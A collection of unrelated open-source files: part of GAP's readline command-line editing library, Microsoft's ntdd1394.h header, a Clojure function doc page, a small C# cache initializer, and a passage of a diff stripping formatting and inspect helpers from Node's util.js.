## macro and bound to the key sequence <B>Esc</B> <B>Q</B>.
## <P/>
## <Example>
## gap> EditAddQuotes := function(l)
## > local str, pos, i, j, new;
## > str := l[3];
## > pos := l[4];
## > i := pos;
## > while i > 1 and (not str[i-1] in ",( ") do
## > i := i-1;
## > od;
## > j := pos;
## > while IsBound(str[j]) and not str[j] in ",) " do
## > j := j+1;
## > od;
## > new := "\"";
## > Append(new, str{[i..j-1]});
## > Append(new, "\"");
## > return [i, j, new];
## > end;;
## gap> InstallReadlineMacro("addquotes", EditAddQuotes);
## gap> invl := InvocationReadlineMacro("addquotes");;
## gap> ReadlineInitLine(Concatenation("\"\\eQ\":\"",invl,"\""));;
## </Example>
## </Subsection>
##
## </Section>
## <#/GAPDoc>
##
if not IsBound(GAPInfo.CommandLineEditFunctions) then
GAPInfo.CommandLineEditFunctions := rec(
# This is the GAP function called by the readline handler function
# handled-by-GAP (GAP_rl_func in src/sysfiles.c).
KeyHandler := function(l)
local macro, res, key;
# remember this key
key := l[2];
res:=[];
if l[2] >= 1000 then
macro := QuoInt(l[2], 1000);
if IsBound(GAPInfo.CommandLineEditFunctions.Macros.(macro)) then
res := GAPInfo.CommandLineEditFunctions.Macros.(macro)(l);
fi;
else
if IsBound(GAPInfo.CommandLineEditFunctions.Functions.(l[2])) then
res := GAPInfo.CommandLineEditFunctions.Functions.(l[2])(l);
fi;
fi;
GAPInfo.CommandLineEditFunctions.LastKey := key;
return res;
end,
Macros := rec(),
Functions := rec(),
# here we save readline init lines for post restore
RLInitLines := [],
RLKeysGAPHandler := []
);
if IsHPCGAP then
GAPInfo.CommandLineEditFunctions :=
AtomicRecord(GAPInfo.CommandLineEditFunctions);
fi;
fi;
# wrapper around kernel functions to store data for post restore function
BindGlobal("ReadlineInitLine", function(str)
READLINEINITLINE(ShallowCopy(str));
Add(GAPInfo.CommandLineEditFunctions.RLInitLines, str);
end);
BindGlobal("BindKeysToGAPHandler", function(str)
BINDKEYSTOGAPHANDLER(ShallowCopy(str));
Add(GAPInfo.CommandLineEditFunctions.RLKeysGAPHandler, str);
end);
CallAndInstallPostRestore( function()
local clef, l, a;
clef := GAPInfo.CommandLineEditFunctions;
l := clef.RLKeysGAPHandler;
clef.RLKeysGAPHandler := [];
for a in l do
BindKeysToGAPHandler(a);
od;
l := clef.RLInitLines;
clef.RLInitLines := [];
for a in l do
ReadlineInitLine(a);
od;
end);
# bind macro to a key sequence
BindGlobal("BindKeySequence", function(seq, subs)
ReadlineInitLine(Concatenation("\"", seq, "\": \"", subs, "\""));
end);
# general utility functions
# ringing bell according to terminal configuration (rl_ding)
GAPInfo.CommandLineEditFunctions.Functions.RingBell := function(arg)
return [100];
end;
# sends <Return> and so calls accept-line
GAPInfo.CommandLineEditFunctions.Functions.AcceptLine := function(arg)
return [101];
end;
# cands is list of strings, this displays them as matches for completion
# (rl_display_match_list)
GAPInfo.CommandLineEditFunctions.Functions.DisplayMatches := function(cand)
return [1, cand];
end;
# this inserts a sequence of keys given as string into the input stream
# (rl_stuff_char, up to 512 characters are accepted)
GAPInfo.CommandLineEditFunctions.Functions.StuffChars := function(str)
return [2, str];
end;
GAPInfo.CommandLineEditFunctions.Functions.UnicodeChar := function(l)
local helper, j, i, hc, hex, c, pos, k;
# same as GAPDoc's UNICODE_RECODE.UTF8UnicodeChar
helper := function ( n )
local res, a, b, c, d;
res := "";
if n < 0 then
return fail;
elif n < 128 then
Add( res, CHAR_INT( n ) );
elif n < 2048 then
a := n mod 64;
b := (n - a) / 64;
Add( res, CHAR_INT( b + 192 ) );
Add( res, CHAR_INT( a + 128 ) );
elif n < 65536 then
a := n mod 64;
n := (n - a) / 64;
b := n mod 64;
c := (n - b) / 64;
Add( res, CHAR_INT( c + 224 ) );
Add( res, CHAR_INT( b + 128 ) );
Add( res, CHAR_INT( a + 128 ) );
elif n < 2097152 then
a := n mod 64;
n := (n - a) / 64;
b := n mod 64;
n := (n - b) / 64;
c := n mod 64;
d := (n - c) / 64;
Add( res, CHAR_INT( d + 240 ) );
Add( res, CHAR_INT( c + 128 ) );
Add( res, CHAR_INT( b + 128 ) );
Add( res, CHAR_INT( a + 128 ) );
else
return fail;
fi;
return res;
end;
# if count=1 we consider the previous characters
if l[1] = 1 then
j := l[4]-1;
i := j;
hc := "0123456789abcdefABCDEF";
while i > 0 and l[3][i] in hc do
i := i-1;
od;
if i>1 and l[3][i] = 'x' and l[3][i-1] = '0' then
hex := true;
i := i-1;
else
hex := false;
i := i+1;
fi;
c := 0;
if hex then
for k in [i+2..j] do
pos := Position(hc, l[3][k]);
if pos > 16 then
pos := pos-6;
fi;
c := c*16+(pos-1);
od;
else
for k in [i..j] do
pos := Position(hc, l[3][k]);
c := c*10 + (pos-1);
od;
fi;
return [i, j+1, helper(c)];
else
return [helper(l[1])];
fi;
end;
GAPInfo.CommandLineEditFunctions.Functions.7 :=
GAPInfo.CommandLineEditFunctions.Functions.UnicodeChar;
BindKeysToGAPHandler("\007");
# The history is stored within the GAPInfo record. Several GAP level
# command line edit functions below deal with the history. The maximal
# number of lines in the history is configurable via a user preference.
# TODO: should it be made thread-local in HPC-GAP?
if not IsBound(GAPInfo.History) then
GAPInfo.History := rec(Lines := [], Pos := 0, Last := 0);
fi;
DeclareUserPreference( rec(
name:= ["HistoryMaxLines", "SaveAndRestoreHistory"],
description:= [
"HistoryMaxLines is the maximal amount of input lines held in GAPs \
command line history.",
"If SaveAndRestoreHistory is true then GAP saves its command line history \
before terminating a GAP session, and prepends the stored history when GAP is \
started. If this is enabled it is suggested to set HistoryMaxLines to some \
finite value. It is also possible to set HistoryMaxLines to infinity to keep \
arbitrarily many lines.",
"These preferences are ignored if GAP was not compiled with \
readline support.",
],
default:= [1000, false],
check:= function(max, save)
return ((IsInt( max ) and 0 <= max) or max = infinity)
and save in [true, false];
end
)
);
DeclareUserPreference( rec(
name := "Autocompleter",
description := [
"Set how names are filtered during tab-autocomplete, \
this can be: \"default\": case-sensitive matching. \"case-insensitive\": \
case-insensitive matching, or a record with two components named 'filter' and \
'completer', which are both functions which take two arguments. \
'filter' takes a list of names and a partial identifier and returns \
all the members of 'names' which are a valid extension of the partial \
identifier. 'completer' takes a list of names and a partial identifier and \
returns the partial identifier as extended as possible (it may also change \
the identifier, for example to correct the case, or spelling mistakes), or \
returns 'fail' to leave the existing partial identifier."],
default := "default",
) );
## We use key 0 (not bound) to add line to history.
GAPInfo.CommandLineEditFunctions.Functions.AddHistory := function(l)
local i, max, hist;
max := UserPreference("HistoryMaxLines");
# no history
if max <= 0 then
return [];
fi;
# no trailing white space
i := 0;
while Length(l[3]) > 0 and l[3][Length(l[3])] in "\n\r\t " do
Remove(l[3]);
i := i + 1;
od;
if Length(l[3]) = 0 then
return [false, 1, i+1, 1];
fi;
hist := GAPInfo.History.Lines;
while Length(hist) >= max do
# overrun, throw oldest line away
Remove(hist, 1);
GAPInfo.History.Last := GAPInfo.History.Last - 1;
od;
Add(hist, l[3]);
GAPInfo.History.Pos := Length(hist) + 1;
if i = 0 then
return [];
else
return [false, Length(l[3])+1, Length(l[3]) + i + 1];
fi;
end;
GAPInfo.CommandLineEditFunctions.Functions.0 :=
GAPInfo.CommandLineEditFunctions.Functions.AddHistory;
## C-p: previous line starting like current before point
GAPInfo.CommandLineEditFunctions.Functions.BackwardHistory := function(l)
local hist, n, start;
if UserPreference("HistoryMaxLines") <= 0 then
return [];
fi;
hist := GAPInfo.History.Lines;
n := GAPInfo.History.Pos;
# searching backward in history for line starting with input before cursor
if l[4] = Length(l[3]) + 1 then
start := l[3];
else
start := l[3]{[1..l[4]-1]};
fi;
while n > 1 do
n := n - 1;
if PositionSublist(hist[n], start) = 1 then
GAPInfo.History.Pos := n;
GAPInfo.History.Last := n;
return [1, Length(l[3])+1, hist[n], l[4]];
fi;
od;
# not found, delete rest of line and wrap over
GAPInfo.History.Pos := Length(hist)+1;
if Length(start) = Length(l[3]) then
return [];
else
return [false, l[4], Length(l[3])+1];
fi;
end;
# bind to C-p and map Up-key
GAPInfo.CommandLineEditFunctions.Functions.(INT_CHAR('P') mod 32) :=
GAPInfo.CommandLineEditFunctions.Functions.BackwardHistory;
BindKeysToGAPHandler("\020");
ReadlineInitLine("\"\\eOA\": \"\\C-p\"");
ReadlineInitLine("\"\\e[A\": \"\\C-p\"");
## C-n: next line starting like current before point
GAPInfo.CommandLineEditFunctions.Functions.ForwardHistory := function(l)
local hist, n, start;
if UserPreference("HistoryMaxLines") <= 0 then
return [];
fi;
hist := GAPInfo.History.Lines;
n := GAPInfo.History.Pos;
if n > Length(hist) then
# special case on empty line, we don't wrap to the beginning, but
# the position of the last history use
if Length(l[3]) = 0 and GAPInfo.History.Last < Length(hist) then
GAPInfo.History.Pos := GAPInfo.History.Last;
n := GAPInfo.History.Pos;
else
n := 0;
fi;
fi;
# searching forward in history for line starting with input before cursor
if l[4] = Length(l[3]) + 1 then
start := l[3];
else
start := l[3]{[1..l[4]-1]};
fi;
while n < Length(hist) do
n := n + 1;
if PositionSublist(hist[n], start) = 1 then
GAPInfo.History.Pos := n;
GAPInfo.History.Last := n;
return [1, Length(l[3])+1, hist[n], l[4]];
fi;
od;
# not found, delete rest of line and wrap over
GAPInfo.History.Pos := Length(hist)+1;
if Length(start) = Length(l[3]) then
return [];
else
return [false, l[4], Length(l[3])+1];
fi;
end;
# bind to C-n and map Down-key
GAPInfo.CommandLineEditFunctions.Functions.(INT_CHAR('N') mod 32) :=
GAPInfo.CommandLineEditFunctions.Functions.ForwardHistory;
BindKeysToGAPHandler("\016");
ReadlineInitLine("\"\\eOB\": \"\\C-n\"");
ReadlineInitLine("\"\\e[B\": \"\\C-n\"");
## ESC <: beginning of history
GAPInfo.CommandLineEditFunctions.Functions.BeginHistory := function(l)
if UserPreference("HistoryMaxLines") <= 0 or
Length(GAPInfo.History.Lines) = 0 then
return [];
fi;
GAPInfo.History.Pos := 1;
GAPInfo.History.Last := 1;
return [1, Length(l[3]), GAPInfo.History.Lines[1], 1];
end;
GAPInfo.CommandLineEditFunctions.Functions.(INT_CHAR('<')) :=
GAPInfo.CommandLineEditFunctions.Functions.BeginHistory;
BindKeysToGAPHandler("\\e<");
## ESC >: end of history
GAPInfo.CommandLineEditFunctions.Functions.EndHistory := function(l)
if UserPreference("HistoryMaxLines") <= 0 or
Length(GAPInfo.History.Lines) = 0 then
return [];
fi;
GAPInfo.History.Pos := Length(GAPInfo.History.Lines);
GAPInfo.History.Last := GAPInfo.History.Pos;
return [1, Length(l[3]), GAPInfo.History.Lines[GAPInfo.History.Pos], 1];
end;
GAPInfo.CommandLineEditFunctions.Functions.(INT_CHAR('>')) :=
GAPInfo.CommandLineEditFunctions.Functions.EndHistory;
BindKeysToGAPHandler("\\e>");
## C-o: line after last choice from history (for executing consecutive
## lines from the history
GAPInfo.CommandLineEditFunctions.Functions.(INT_CHAR('O') mod 32) := function(l)
local n, cf;
cf := GAPInfo.CommandLineEditFunctions;
if IsBound(cf.ctrlo) then
n := GAPInfo.History.Last + 1;
if UserPreference("HistoryMaxLines") <= 0 or
Length(GAPInfo.History.Lines) < n then
return [];
fi;
GAPInfo.History.Last := n;
Unbind(cf.ctrlo);
return [1, Length(l[3]), GAPInfo.History.Lines[n], 1];
else
cf.ctrlo := true;
return GAPInfo.CommandLineEditFunctions.Functions.StuffChars("\015\017");
fi;
end;
BindKeysToGAPHandler("\017");
## C-r: previous line containing text between mark and point (including
## the smaller, excluding the larger)
GAPInfo.CommandLineEditFunctions.Functions.HistorySubstring := function(l)
local hist, n, txt, pos;
if UserPreference("HistoryMaxLines") <= 0 then
return [];
fi;
hist := GAPInfo.History.Lines;
n := GAPInfo.History.Pos;
# text to search
if l[4] < l[5] then
if l[5] > Length(l[3])+1 then
l[5] := Length(l[3])+1;
fi;
txt := l[3]{[l[4]..l[5]-1]};
else
if l[5] < 1 then
l[5] := 1;
fi;
txt := l[3]{[l[5]..l[4]-1]};
fi;
while n > 1 do
n := n - 1;
pos := PositionSublist(hist[n], txt);
if pos <> fail then
GAPInfo.History.Pos := n;
return [1, Length(l[3])+1, hist[n], pos + Length(txt), pos];
fi;
od;
# not found, do nothing and wrap over
GAPInfo.History.Pos := Length(hist)+1;
return [];
end;
GAPInfo.CommandLineEditFunctions.Functions.(INT_CHAR('R') mod 32) :=
GAPInfo.CommandLineEditFunctions.Functions.HistorySubstring;
BindKeysToGAPHandler("\022");
############################################################################
##
#F SaveCommandLineHistory( [<fname>], [append] )
#F ReadCommandLineHistory( [<fname>] )
##
## Use the first command to write the currently saved command lines in the
## history to file <fname>. If not given the default file name 'history'
## in GAPInfo.UserGapRoot or '~/.gap_hist' is used.
## The second command prepends the lines from <fname> to the current
## command line history (as much as possible when the user preference
## HistoryMaxLines is less than infinity).
##
BindGlobal("SaveCommandLineHistory", function(arg)
local fnam, append, hist, out;
if Length(arg) > 0 then
fnam := arg[1];
else
if IsExistingFile(GAPInfo.UserGapRoot) then
fnam := Concatenation(GAPInfo.UserGapRoot, "/history");
else
fnam := UserHomeExpand("~/.gap_hist");
fi;
fi;
if true in arg then
append := true;
else
append := false;
fi;
hist := GAPInfo.History.Lines;
out := OutputTextFile(fnam, append);
if out = fail then
return fail;
fi;
SetPrintFormattingStatus(out, false);
WriteAll(out,JoinStringsWithSeparator(hist,"\n"));
WriteAll(out,"\n");
CloseStream(out);
return Length(hist);
end);
BindGlobal("ReadCommandLineHistory", function(arg)
local hist, max, fnam, s, append;
hist := GAPInfo.History.Lines;
max := UserPreference("HistoryMaxLines");
if Length(arg) > 0 and IsString(arg[1]) then
fnam := arg[1];
else
if IsExistingFile(GAPInfo.UserGapRoot) then
fnam := Concatenation(GAPInfo.UserGapRoot, "/history");
else
fnam := UserHomeExpand("~/.gap_hist");
fi;
fi;
if true in arg then
append := true;
else
append := false;
fi;
s := StringFile(fnam);
if s = fail then
return fail;
fi;
s := SplitString(s, "", "\n");
if append then
if Length(s) > max then
s := s{[1..max]};
fi;
Append(hist, s);
if Length(hist) > max then
hist := hist{[Length(hist) - max..Length(hist)]};
fi;
else
if Length(hist) >= max then
return 0;
fi;
if Length(s) + Length(hist) > max then
s := s{[Length(s)-max+Length(hist)+1..Length(s)]};
fi;
hist := Concatenation(s, hist);
fi;
GAPInfo.History.Lines := hist;
GAPInfo.History.Last := 0;
GAPInfo.History.Pos := Length(hist) + 1;
return Length(s);
end);
### Free: C-g, C-^
## This deletes the content of current buffer line, when appending a space
## would result in a sequence of space- and tab-characters followed by the
## current prompt. Otherwise a space is inserted at point.
GAPInfo.DeletePrompts := true;
GAPInfo.CommandLineEditFunctions.Functions.SpaceDeletePrompt := function(l)
local txt, len, pr, i;
if GAPInfo.DeletePrompts <> true or l[4] = 1 or l[3][l[4]-1] <> '>' then
return [" "];
fi;
txt := l[3];
len := Length(txt);
pr := CPROMPT();
Remove(pr);
i := 1;
while txt[i] in "\t " do
i := i+1;
od;
if len - i+1 = Length(pr) and txt{[i..len]} = pr then
return [false, 1, i+Length(pr), 1];
fi;
return [" "];
end;
GAPInfo.CommandLineEditFunctions.Functions.(INT_CHAR(' ')) :=
GAPInfo.CommandLineEditFunctions.Functions.SpaceDeletePrompt;
BindKeysToGAPHandler(" ");
# These methods implement 'extender' for standard case sensitive and
# case insensitive matching.
# These methods take a list of candidates (cand), and the current
# partially written identifier from the command line. They return a
# replacement for 'identifier'. This extends 'identifier'
# to include all characters which occur in all members of cand.
# In the case-insensitive case this matching is done case-insensitively,
# and we also change the existing letters of the identifier to match
# identifers.
# When there is no extension or change, these methods return 'fail'.
BindGlobal("STANDARD_EXTENDERS", rec(
caseSensitive := function(cand, word)
local i, j, c, match;
i := Length(word);
while true do
if i = Length(cand[1]) then
break;
fi;
c := cand[1][i+1];
match := true;
for j in [2..Length(cand)] do
if Length(cand[j]) <= i or cand[j][i+1] <> c then
match := false;
break;
fi;
od;
if not match then
break;
else
i := i+1;
fi;
od;
if i > Length(word) then
return cand[1]{[1..i]};
else
return fail;
fi;
end,
caseInsensitive := function(cand, word)
local i, j, c, lowword, filtequal, match;
# Check if exactly 'word' exists, ignoring case.
lowword := LowercaseString(word);
# If there are several equal words, just pick the first one...
filtequal := First(cand, a -> LowercaseString(a) = lowword);
if filtequal <> fail then
return filtequal;
fi;
i := Length(word);
while true do
if i = Length(cand[1]) then
break;
fi;
c := LowercaseChar(cand[1][i+1]);
match := true;
for j in [2..Length(cand)] do
if Length(cand[j]) <= i or LowercaseChar(cand[j][i+1]) <> c then
match := false;
break;
fi;
od;
if not match then
break;
else
i := i+1;
fi;
od;
if i >= Length(word) then
return cand[1]{[1..i]};
else
return fail;
fi;
end,
));
# C-i: Completion as GAP level function
GAPInfo.CommandLineEditFunctions.Functions.Completion := function(l)
local cf, pos, word, wordplace, idbnd, i, cmps, r, searchlist, cand, c, j,
completeFilter, completeExtender, extension;
completeFilter := function(filterlist, partial)
local pref, lowpartial;
pref := UserPreference("Autocompleter");
if pref = "case-insensitive" then
lowpartial := LowercaseString(partial);
return Filtered(filterlist,
a -> PositionSublist(LowercaseString(a), lowpartial) = 1);
elif pref = "default" then
return Filtered(filterlist, a-> PositionSublist(a, partial) = 1);
elif IsRecord(pref) and IsFunction(pref.completer) then
return pref.completer(filterlist, partial);
else
ErrorNoReturn("Invalid setting of UserPreference 'Autocompleter'");
fi;
end;
completeExtender := function(filterlist, partial)
local pref;
pref := UserPreference("Autocompleter");
if pref = "case-insensitive" then
return STANDARD_EXTENDERS.caseInsensitive(filterlist, partial);
elif pref = "default" then
return STANDARD_EXTENDERS.caseSensitive(filterlist, partial);
elif IsRecord(pref) and IsFunction(pref.extender) then
return pref.extender(filterlist, partial);
else
ErrorNoReturn("Invalid setting of UserPreference 'Autocompleter'");
fi;
end;
# check if Ctrl-i was hit repeatedly in a row
cf := GAPInfo.CommandLineEditFunctions;
if Length(l)=6 and l[6] = true and cf.LastKey = 9 then
cf.tabcount := cf.tabcount + 1;
else
cf.tabcount := 1;
Unbind(cf.tabrec);
Unbind(cf.tabcompnam);
fi;
pos := l[4]-1;
# in whitespace in beginning of line \t is just inserted
while pos > 0 and l[3][pos] in " \t" do
pos := pos-1;
od;
if pos = 0 then
return ["\t"];
fi;
pos := l[4]-1;
# find word to complete
while pos > 0 and l[3][pos] in IdentifierLetters do
pos := pos-1;
od;
wordplace := [pos+1, l[4]-1];
word := l[3]{[wordplace[1]..wordplace[2]]};
# see if we are in the case of a component name
while pos > 0 and l[3][pos] in " \n\t\r" do
pos := pos-1;
od;
idbnd := IDENTS_BOUND_GVARS();
if pos > 0 and l[3][pos] = '.' then
cf.tabcompnam := true;
if cf.tabcount = 1 then
# try to find name of component object
i := pos;
while i > 0 and (l[3][i] in IdentifierLetters or l[3][i] in ".!") do
i := i-1;
od;
cmps := SplitString(l[3]{[i+1..pos]},"","!.");
if Length(cmps) > 0 and cmps[1] in idbnd then
r := ValueGlobal(cmps[1]);
if not (IsRecord(r) or IsComponentObjectRep(r)) then
r := fail;
else
for j in [2..Length(cmps)] do
if IsBound(r!.(cmps[j])) then
r := r!.(cmps[j]);
if IsRecord(r) or IsComponentObjectRep(r) then
continue;
fi;
fi;
r := fail;
break;
od;
fi;
else
r := fail;
fi;
if r <> fail then
cf.tabrec := r;
fi;
fi;
fi;
# now produce the searchlist
if IsBound(cf.tabrec) then
# the first two <TAB> hits try existing component names only first
searchlist := ShallowCopy(NamesOfComponents(cf.tabrec));
if cf.tabcount > 2 then
Append(searchlist, ALL_RNAMES());
fi;
else
# complete variable name
searchlist := idbnd;
fi;
cand := completeFilter(searchlist, word);
# in component name search we try again with all names if this is empty
if IsBound(cf.tabcompnam) and Length(cand) = 0 and cf.tabcount < 3 then
searchlist := ALL_RNAMES();
cand := completeFilter(searchlist, word);
fi;
if (not IsBound(cf.tabcompnam) and cf.tabcount = 2) or
(IsBound(cf.tabcompnam) and cf.tabcount in [2,4]) then
if Length(cand) > 0 then
# we prepend the partial word which was completed
return GAPInfo.CommandLineEditFunctions.Functions.DisplayMatches(
Concatenation([word], Set(cand)));
else
# ring the bell
return GAPInfo.CommandLineEditFunctions.Functions.RingBell();
fi;
fi;
if Length(cand) = 0 then
return [];
elif Length(cand) = 1 then
return [ wordplace[1], wordplace[2]+1, cand[1]{[1..Length(cand[1])]}];
fi;
extension := completeExtender(cand, word);
if extension = fail then
return [];
else
return [ wordplace[1], wordplace[2] + 1, extension ];
fi;
end;
GAPInfo.CommandLineEditFunctions.Functions.(INT_CHAR('I') mod 32) :=
GAPInfo.CommandLineEditFunctions.Functions.Completion;
BindKeysToGAPHandler("\011");
#############################################################################
##
## Simple utilities to create an arbitrary number of macros
##
# name a string, fun a function
InstallReadlineMacro := function(name, fun)
local cfm, pos;
cfm := GAPInfo.CommandLineEditFunctions.Macros;
if not IsBound(cfm.Names) then
cfm.Names := [];
fi;
pos := Position(cfm.Names, name);
if pos = fail then
pos := Length(cfm.Names)+1;
fi;
cfm.(pos) := fun;
cfm.Names[pos] := name;
end;
# A sequence to invoce macro name ('ESC num C-x C-g' sets GAPMacroNumber in
# kernel and then any key that calls handled-by-GAP will do it)
# We assume that 'C-xC-g' and <TAB> are not overwritten.
InvocationReadlineMacro := function(name)
local cfm, pos;
cfm := GAPInfo.CommandLineEditFunctions.Macros;
if not IsBound(cfm.Names) then
cfm.Names := [];
fi;
pos := Position(cfm.Names, name);
if pos = fail then
return fail;
fi;
return Concatenation("\033", String(pos), "\030\007\t");
end;
## # Example
## gap> InstallReadlineMacro("My Macro", function(l) return ["my text"]; end);
## gap> InvocationReadlineMacro("My Macro");
## "\0331\030\007\t"
## gap> BindKeySequence("^[OR",last); # first arg with C-v<F3>
# for compatibility with the non-readline kernel code
LineEditKeyHandlers := [];
LineEditKeyHandler := function(l)
return [l[1], l[3], l[5]];
end;
else
# some experimental code, use readline instead
ReadLib("cmdleditx.g");
fi;
| {
"pile_set_name": "Github"
} |
/*++
Copyright (c) Microsoft Corporation. All rights reserved.
Module Name:
ntdd1394.h
Abstract:
Definitions for the 1394 api
Author:
George Chrysanthakopoulos (georgioc) 4/26/99
Environment:
Kernel mode only
Revision History:
--*/
#ifndef _NTDD1394_H_
#define _NTDD1394_H_
#if (_MSC_VER >= 1020)
#pragma once
#endif
#ifdef __cplusplus
extern "C" {
#endif
//
// registry definitions
//
#define BUS1394_VIRTUAL_DEVICE_LIST_KEY L"Virtual Device List"
#define BUS1394_LOCAL_HOST_INSTANCE_KEY L"LOCAL HOST EUI64"
//
// Various definitions
//
#define IOCTL_IEEE1394_API_REQUEST CTL_CODE( \
FILE_DEVICE_UNKNOWN, \
0x100, \
METHOD_BUFFERED, \
FILE_ANY_ACCESS \
)
//
// IEEE 1394 Sbp2 Request packet. It is how other
// device drivers communicate with the 1sbp2 trasnport.
//
typedef struct _IEEE1394_VDEV_PNP_REQUEST{
ULONG fulFlags;
ULONG Reserved;
ULARGE_INTEGER InstanceId;
UCHAR DeviceId;
} IEEE1394_VDEV_PNP_REQUEST,*PIEEE1394_VDEV_PNP_REQUEST;
typedef struct _IEEE1394_API_REQUEST {
//
// Holds the zero based Function number that corresponds to the request
// that device drivers are asking the sbp2 port driver to carry out.
//
ULONG RequestNumber;
//
// Holds Flags that may be unique to this particular operation
//
ULONG Flags;
//
// Holds the structures used in performing the various 1394 APIs
//
union {
IEEE1394_VDEV_PNP_REQUEST AddVirtualDevice;
IEEE1394_VDEV_PNP_REQUEST RemoveVirtualDevice;
} u;
} IEEE1394_API_REQUEST, *PIEEE1394_API_REQUEST;
//
// Request Number
//
#define IEEE1394_API_ADD_VIRTUAL_DEVICE 0x00000001
#define IEEE1394_API_REMOVE_VIRTUAL_DEVICE 0x00000002
//
// flags for the add/remove requests
//
#define IEEE1394_REQUEST_FLAG_UNICODE 0x00000001
#define IEEE1394_REQUEST_FLAG_PERSISTENT 0x00000002
#define IEEE1394_REQUEST_FLAG_USE_LOCAL_HOST_EUI 0x00000004
//
// definitions for the access/ownership 1394 scheme
//
#ifdef __cplusplus
}
#endif
#endif // _NTDD1394_H_
| {
"pile_set_name": "Github"
} |
<html><body><div class="content"><div class="item"><div class="clj"><div class="c-head">(body-x! entity x)</div><div class="c-doc"><p>Changes the <code>x</code> of the body in <code>entity</code>.</p></div></div><div class="c-head">Source</div><div class="c-src"><pre>(defn body-x!
[entity x]
(body-position! entity x (body-y entity) (body-z entity)))</pre></div></div></div></body></html> | {
"pile_set_name": "Github"
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace AzureAD.RedisCacheUserProfile.Data
{
public class TokenCacheInitializer : System.Data.Entity.CreateDatabaseIfNotExists<TokenCacheDataContext>
{
}
} | {
"pile_set_name": "Github"
} |
diff --git a/lib/util.js b/lib/util.js
index a03e874..9074e8e 100644
--- a/lib/util.js
+++ b/lib/util.js
@@ -19,430 +19,6 @@
// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
// USE OR OTHER DEALINGS IN THE SOFTWARE.
-var formatRegExp = /%[sdj%]/g;
-exports.format = function(f) {
- if (!isString(f)) {
- var objects = [];
- for (var i = 0; i < arguments.length; i++) {
- objects.push(inspect(arguments[i]));
- }
- return objects.join(' ');
- }
-
- var i = 1;
- var args = arguments;
- var len = args.length;
- var str = String(f).replace(formatRegExp, function(x) {
- if (x === '%%') return '%';
- if (i >= len) return x;
- switch (x) {
- case '%s': return String(args[i++]);
- case '%d': return Number(args[i++]);
- case '%j':
- try {
- return JSON.stringify(args[i++]);
- } catch (_) {
- return '[Circular]';
- }
- default:
- return x;
- }
- });
- for (var x = args[i]; i < len; x = args[++i]) {
- if (isNull(x) || !isObject(x)) {
- str += ' ' + x;
- } else {
- str += ' ' + inspect(x);
- }
- }
- return str;
-};
-
-
-// Mark that a method should not be used.
-// Returns a modified function which warns once by default.
-// If --no-deprecation is set, then it is a no-op.
-exports.deprecate = function(fn, msg) {
- // Allow for deprecating things in the process of starting up.
- if (isUndefined(global.process)) {
- return function() {
- return exports.deprecate(fn, msg).apply(this, arguments);
- };
- }
-
- if (process.noDeprecation === true) {
- return fn;
- }
-
- var warned = false;
- function deprecated() {
- if (!warned) {
- if (process.throwDeprecation) {
- throw new Error(msg);
- } else if (process.traceDeprecation) {
- console.trace(msg);
- } else {
- console.error(msg);
- }
- warned = true;
- }
- return fn.apply(this, arguments);
- }
-
- return deprecated;
-};
-
-
-var debugs = {};
-var debugEnviron;
-exports.debuglog = function(set) {
- if (isUndefined(debugEnviron))
- debugEnviron = process.env.NODE_DEBUG || '';
- set = set.toUpperCase();
- if (!debugs[set]) {
- if (new RegExp('\\b' + set + '\\b', 'i').test(debugEnviron)) {
- var pid = process.pid;
- debugs[set] = function() {
- var msg = exports.format.apply(exports, arguments);
- console.error('%s %d: %s', set, pid, msg);
- };
- } else {
- debugs[set] = function() {};
- }
- }
- return debugs[set];
-};
-
-
-/**
- * Echos the value of a value. Trys to print the value out
- * in the best way possible given the different types.
- *
- * @param {Object} obj The object to print out.
- * @param {Object} opts Optional options object that alters the output.
- */
-/* legacy: obj, showHidden, depth, colors*/
-function inspect(obj, opts) {
- // default options
- var ctx = {
- seen: [],
- stylize: stylizeNoColor
- };
- // legacy...
- if (arguments.length >= 3) ctx.depth = arguments[2];
- if (arguments.length >= 4) ctx.colors = arguments[3];
- if (isBoolean(opts)) {
- // legacy...
- ctx.showHidden = opts;
- } else if (opts) {
- // got an "options" object
- exports._extend(ctx, opts);
- }
- // set default options
- if (isUndefined(ctx.showHidden)) ctx.showHidden = false;
- if (isUndefined(ctx.depth)) ctx.depth = 2;
- if (isUndefined(ctx.colors)) ctx.colors = false;
- if (isUndefined(ctx.customInspect)) ctx.customInspect = true;
- if (ctx.colors) ctx.stylize = stylizeWithColor;
- return formatValue(ctx, obj, ctx.depth);
-}
-exports.inspect = inspect;
-
-
-// http://en.wikipedia.org/wiki/ANSI_escape_code#graphics
-inspect.colors = {
- 'bold' : [1, 22],
- 'italic' : [3, 23],
- 'underline' : [4, 24],
- 'inverse' : [7, 27],
- 'white' : [37, 39],
- 'grey' : [90, 39],
- 'black' : [30, 39],
- 'blue' : [34, 39],
- 'cyan' : [36, 39],
- 'green' : [32, 39],
- 'magenta' : [35, 39],
- 'red' : [31, 39],
- 'yellow' : [33, 39]
-};
-
-// Don't use 'blue' not visible on cmd.exe
-inspect.styles = {
- 'special': 'cyan',
- 'number': 'yellow',
- 'boolean': 'yellow',
- 'undefined': 'grey',
- 'null': 'bold',
- 'string': 'green',
- 'date': 'magenta',
- // "name": intentionally not styling
- 'regexp': 'red'
-};
-
-
-function stylizeWithColor(str, styleType) {
- var style = inspect.styles[styleType];
-
- if (style) {
- return '\u001b[' + inspect.colors[style][0] + 'm' + str +
- '\u001b[' + inspect.colors[style][1] + 'm';
- } else {
- return str;
- }
-}
-
-
-function stylizeNoColor(str, styleType) {
- return str;
-}
-
-
-function arrayToHash(array) {
- var hash = {};
-
- array.forEach(function(val, idx) {
- hash[val] = true;
- });
-
- return hash;
-}
-
-
-function formatValue(ctx, value, recurseTimes) {
- // Provide a hook for user-specified inspect functions.
- // Check that value is an object with an inspect function on it
- if (ctx.customInspect &&
- value &&
- isFunction(value.inspect) &&
- // Filter out the util module, it's inspect function is special
- value.inspect !== exports.inspect &&
- // Also filter out any prototype objects using the circular check.
- !(value.constructor && value.constructor.prototype === value)) {
- var ret = value.inspect(recurseTimes, ctx);
- if (!isString(ret)) {
- ret = formatValue(ctx, ret, recurseTimes);
- }
- return ret;
- }
-
- // Primitive types cannot have properties
- var primitive = formatPrimitive(ctx, value);
- if (primitive) {
- return primitive;
- }
-
- // Look up the keys of the object.
- var keys = Object.keys(value);
- var visibleKeys = arrayToHash(keys);
-
- if (ctx.showHidden) {
